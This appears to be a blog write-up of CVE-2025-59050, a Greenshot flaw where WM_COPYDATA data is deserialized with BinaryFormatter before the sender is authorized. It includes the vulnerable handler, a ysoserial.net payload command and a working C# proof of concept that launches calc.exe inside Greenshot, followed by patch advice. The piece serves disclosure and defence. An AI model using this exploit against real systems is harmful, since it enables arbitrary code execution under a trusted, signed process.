Greenshot is a very popular open-source Windows screenshot tool used every day by developers, documenters, and support desks. However, a serious security vulnerability—CVE-2025-59050—has been uncovered, which could allow a local attacker to execute arbitrary code inside the trusted Greenshot process. Let’s break down what’s going on, examine some code, and understand how it could be exploited.

What’s happening?

In Greenshot versions 1.3.300 and earlier, when the application receives a WM_COPYDATA message (which lets other processes send data to it), the attached data gets deserialized using .NET’s BinaryFormatter without any checks to see if the sender is allowed. The app only checks *after* it’s processed the data, which is a major problem if the data itself can trigger code execution.

> By the time the program checks if the sender should be allowed, it's already too late—the attacker's code could be running.

Where’s the bug?

The root of the bug is in Greenshot’s Windows Forms message handler (WndProc) for WM_COPYDATA (message 74). Here’s a simplified view of the vulnerable logic:

protected override void WndProc(ref Message m) {
    if (m.Msg == WM_COPYDATA) {
        // Step 1: Extract data from message
        var dataPtr = ((COPYDATASTRUCT)m.GetLParam(typeof(COPYDATASTRUCT))).lpData;
        byte[] serializedData = new byte[dataLength];
        Marshal.Copy(dataPtr, serializedData, , dataLength);

        // Step 2: Deserialize data WITHOUT validation
        BinaryFormatter formatter = new BinaryFormatter();
        var obj = formatter.Deserialize(new MemoryStream(serializedData)); // <-- Dangerous!

        // Step 3: Only now check if the sender's channel is authorized
        if (IsChannelAuthorized(obj.Channel)) {
            // ... handle authorized data ...
        }
    }
    base.WndProc(ref m);
}

BinaryFormatter.Deserialize is a risky API, notorious for code execution attacks if an attacker can control the serialized input.

Who can exploit this?

Even though this isn’t a remote exploit, any local program running with the same integrity level (such as another user process on the same desktop, or even a limited user) can send a WM_COPYDATA message to Greenshot’s main window and trigger the bug.

Why is this possible?

1. Windows allows any local process to send WM_COPYDATA to another window at the same session and privilege level.

Simple Exploit Scenario

Suppose an attacker wants to spawn calc.exe (Calculator) or run shellcode within Greenshot. They just:

Example proof-of-concept using C#

// Requires ysoserial.net to generate the payload
// ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o raw -c "calc.exe" > payload.bin

[StructLayout(LayoutKind.Sequential)]
struct COPYDATASTRUCT {
    public IntPtr dwData;
    public int cbData;
    public IntPtr lpData;
}

IntPtr hwnd = FindWindow("GreenshotMainForm", null);
byte[] payload = File.ReadAllBytes("payload.bin");

IntPtr alloc = Marshal.AllocHGlobal(payload.Length);
Marshal.Copy(payload, , alloc, payload.Length);

COPYDATASTRUCT cds = new COPYDATASTRUCT();
cds.dwData = IntPtr.Zero;
cds.cbData = payload.Length;
cds.lpData = alloc;

IntPtr cdsPtr = Marshal.AllocHGlobal(Marshal.SizeOf(cds));
Marshal.StructureToPtr(cds, cdsPtr, false);

SendMessage(hwnd, WM_COPYDATA, IntPtr.Zero, cdsPtr);

Marshal.FreeHGlobal(alloc);
Marshal.FreeHGlobal(cdsPtr);

This runs calc.exe inside Greenshot.exe! Any code an attacker wishes could be run, with Greenshot’s privileges.

No workarounds are available. Blocking WM_COPYDATA globally is not practical in Windows.

- Patch provided in Greenshot 1.3.301: The code was changed to check authorization *before* calling BinaryFormatter.Deserialize.

You MUST upgrade to at least 1.3.301 to be safe.
Download latest Greenshot

Additional References

- Official Greenshot Security Advisory - CVE-2025-59050
- CVE Details Entry for CVE-2025-59050
- Deserialization vulnerabilities and BinaryFormatter dangers (Microsoft)
- ysoserial.net – Gadget chains for .NET

Summary

CVE-2025-59050 is a classic example of unsafe deserialization in desktop applications, made worse by handling deserialization *before* authentication. While it only allows local exploitation, abusing a trusted, signed process like Greenshot is a real risk, especially in restricted environments.

If you use Greenshot, update to 1.3.301 or later immediately.

> Tell your team, friends, and tech support folks who rely on Greenshot—this is an easy-to-exploit hole that every attacker knows how to use.


Stay safe, keep things updated, and never trust serialized data from unknown sources!

Timeline

Published on: 09/16/2025 17:15:41 UTC
Last modified on: 10/02/2025 18:54:39 UTC